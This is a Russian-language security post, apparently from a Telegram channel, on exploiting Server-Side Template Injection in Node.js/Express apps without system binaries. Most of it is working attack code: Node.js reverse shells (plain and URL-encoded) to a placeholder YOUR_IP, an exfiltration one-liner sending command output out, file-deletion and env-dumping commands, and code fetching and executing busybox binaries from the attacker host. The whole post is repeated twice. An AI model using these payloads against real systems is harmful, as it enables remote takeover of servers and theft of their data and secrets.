Всем 👋! Это Bagley
💬 Node.js с фреймворком Express — это мощный дуэт для веб-разработки, но многие забывают, что даже простые шаблонизаторы (EJS, Pug, Handlebars) могут стать дверью для атак типа Server-Side Template Injection (SSTI).
Примеры шаблонизаторов по степени уязвимости к SSTI:
⚠️ Высокая:
🔘Pug (Jade) - Использует JS-синтаксис, уязвим к выполнению кода
⚠️ Средняя:
🔘EJS - Позволяет вставку JS через ``
🔘Nunjucks - Подобен Jinja2 (Python)
⚠️ Низкая:
🔘Handlebars - Защищен по умолчанию, но можно обойти
🔘Mustache - Без логики, только подстановка
🔘Marko - Компилируется в оптимизированный JS
🔘React (JSX) - Рендерится на клиенте
Если удалось добиться внедрения в шаблон (можно глянуть различные cheat-sheet'ы из поста) - есть прикольный вариант полностью уйти от использования системных бинарей (bash, sh, nc, и тд)
(вдруг они фильтруются каким-нибудь waf'ом, или вообще отсутствуют на системе)
Этот код вернет нам reverse shell оболочку Node.js, т.е. мы сможем спокойно выполнять JS код не через вебку, а непосредственно в консоли node ⤵️
function(){
const net=require('net'),cp=require('child_process');
const s=new net.Socket();
s.connect("YOUR_PORT","YOUR_IP",()=>{
const sh=cp.spawn(process.argv[0],['-i'],{
stdio:[0,1,2,'ipc'],
shell:false
});
s.pipe(sh.stdin);
sh.stdout.pipe(s);
sh.stderr.pipe(s);
});
s.unref();
return ' ';
}
Либо вот такой код (можно сразу в параметр пихать) ⤵️
function(){var+r%3dglobal.process.mainModule.constructor._load,n%3dr('net'),c%3dnew+n.Socket()%3bc.connect("YOUR_PORT","YOUR_IP",()%3d>{p%3dr('child_process').spawn(process.argv[0],['-i'])%3bc.pipe(p.stdin)%3bp.stdout.pipe(c)})%3breturn'+'}
❓ Что дальше?
➡️ process.cwd(); // Узнаём текущую директорию
➡️ require('fs').readdirSync('.'); // Смотрим файлы
➡️ require('fs').rmSync('/tmp/your/binaries_dir', { recursive: true, force: true }); // Удалить папку и всё внутри
➡️ require('fs').accessSync('/path/to/file'); // Существует ли файл?
➡️ require('fs').statSync('/tmp/bash'); // Существует ли файл? 2.0
➡️ require('fs').unlinkSync('/path/to/file'); // Удалить один файл
➡️ console.log(process.env); // Вывести env
🔘Минимизированный reverse-shell
require('net').Socket().connect(YOUR_PORT,"YOUR_IP",()=>this.pipe(require('child_process').spawn('sh').stdio))&&1
🔘Простейшая эксфильтрация
setInterval(()=>require('http').get('http://YOUR_IP/'+require('child_process').execSync('id')),9999)
⁉️ Консоль node.js мы получили, но вот выполнить команды через exec, spawn, execSync, spawnSync, либо на системе вообще никаких бинарей нет (Docker только для node.js, без дополнительных бинарных файлов.)
При попытке выполнения, получим ошибку:
💢 Тогда, идём и качаем busybox бинари, закидываем их на хост (через консоль node) и исполняем
const http = require('http');
const fs = require('fs');
http.get('http://"YOUR_IP"/ash', (res) => {
const file = fs.createWriteStream('/tmp/ash');
res.pipe(file);
file.on('finish', () => {
fs.chmodSync('/tmp/ash', 0o755); // Даём права на выполнение
console.log('Bash downloaded!');
});
}).on('error', (err) => console.error('Download failed:', err));
Скачали ash и whoami ⤴️, узнаём кто мы ⤵️
require('child_process').execSync('/tmp/whoami', { shell: '/tmp/ash', encoding: 'utf-8'});
P.S. Вдохновлён на написание этой заметки после решения одной таски, автору которой выражаю 👍 - заставил разобраться в том, куда никогда бы не полез 😳
#learning #ToolsTipsAndTricks
💬 Node.js с фреймворком Express — это мощный дуэт для веб-разработки, но многие забывают, что даже простые шаблонизаторы (EJS, Pug, Handlebars) могут стать дверью для атак типа Server-Side Template Injection (SSTI).
Примеры шаблонизаторов по степени уязвимости к SSTI:
⚠️ Высокая:
🔘Pug (Jade) - Использует JS-синтаксис, уязвим к выполнению кода
⚠️ Средняя:
🔘EJS - Позволяет вставку JS через ``
🔘Nunjucks - Подобен Jinja2 (Python)
⚠️ Низкая:
🔘Handlebars - Защищен по умолчанию, но можно обойти
🔘Mustache - Без логики, только подстановка
🔘Marko - Компилируется в оптимизированный JS
🔘React (JSX) - Рендерится на клиенте
Если удалось добиться внедрения в шаблон (можно глянуть различные cheat-sheet'ы из поста) - есть прикольный вариант полностью уйти от использования системных бинарей (bash, sh, nc, и тд)
(вдруг они фильтруются каким-нибудь waf'ом, или вообще отсутствуют на системе)
Этот код вернет нам reverse shell оболочку Node.js, т.е. мы сможем спокойно выполнять JS код не через вебку, а непосредственно в консоли node ⤵️
function(){
const net=require('net'),cp=require('child_process');
const s=new net.Socket();
s.connect("YOUR_PORT","YOUR_IP",()=>{
const sh=cp.spawn(process.argv[0],['-i'],{
stdio:[0,1,2,'ipc'],
shell:false
});
s.pipe(sh.stdin);
sh.stdout.pipe(s);
sh.stderr.pipe(s);
});
s.unref();
return ' ';
}
Либо вот такой код (можно сразу в параметр пихать) ⤵️
function(){var+r%3dglobal.process.mainModule.constructor._load,n%3dr('net'),c%3dnew+n.Socket()%3bc.connect("YOUR_PORT","YOUR_IP",()%3d>{p%3dr('child_process').spawn(process.argv[0],['-i'])%3bc.pipe(p.stdin)%3bp.stdout.pipe(c)})%3breturn'+'}
❓ Что дальше?
➡️ process.cwd(); // Узнаём текущую директорию
➡️ require('fs').readdirSync('.'); // Смотрим файлы
➡️ require('fs').rmSync('/tmp/your/binaries_dir', { recursive: true, force: true }); // Удалить папку и всё внутри
➡️ require('fs').accessSync('/path/to/file'); // Существует ли файл?
➡️ require('fs').statSync('/tmp/bash'); // Существует ли файл? 2.0
➡️ require('fs').unlinkSync('/path/to/file'); // Удалить один файл
➡️ console.log(process.env); // Вывести env
🔘Минимизированный reverse-shell
require('net').Socket().connect(YOUR_PORT,"YOUR_IP",()=>this.pipe(require('child_process').spawn('sh').stdio))&&1
🔘Простейшая эксфильтрация
setInterval(()=>require('http').get('http://YOUR_IP/'+require('child_process').execSync('id')),9999)
⁉️ Консоль node.js мы получили, но вот выполнить команды через exec, spawn, execSync, spawnSync, либо на системе вообще никаких бинарей нет (Docker только для node.js, без дополнительных бинарных файлов.)
При попытке выполнения, получим ошибку:
Error: spawnSync /bin/sh ENOENT
Ошибка ENOENT (Error NO ENTity) означает, что Node.js не может найти /bin/sh, который пытается использовать для выполнения команды.
💢 Тогда, идём и качаем busybox бинари, закидываем их на хост (через консоль node) и исполняем
const http = require('http');
const fs = require('fs');
http.get('http://"YOUR_IP"/ash', (res) => {
const file = fs.createWriteStream('/tmp/ash');
res.pipe(file);
file.on('finish', () => {
fs.chmodSync('/tmp/ash', 0o755); // Даём права на выполнение
console.log('Bash downloaded!');
});
}).on('error', (err) => console.error('Download failed:', err));
Скачали ash и whoami ⤴️, узнаём кто мы ⤵️
require('child_process').execSync('/tmp/whoami', { shell: '/tmp/ash', encoding: 'utf-8'});
P.S. Вдохновлён на написание этой заметки после решения одной таски, автору которой выражаю 👍 - заставил разобраться в том, куда никогда бы не полез 😳
#learning #ToolsTipsAndTricks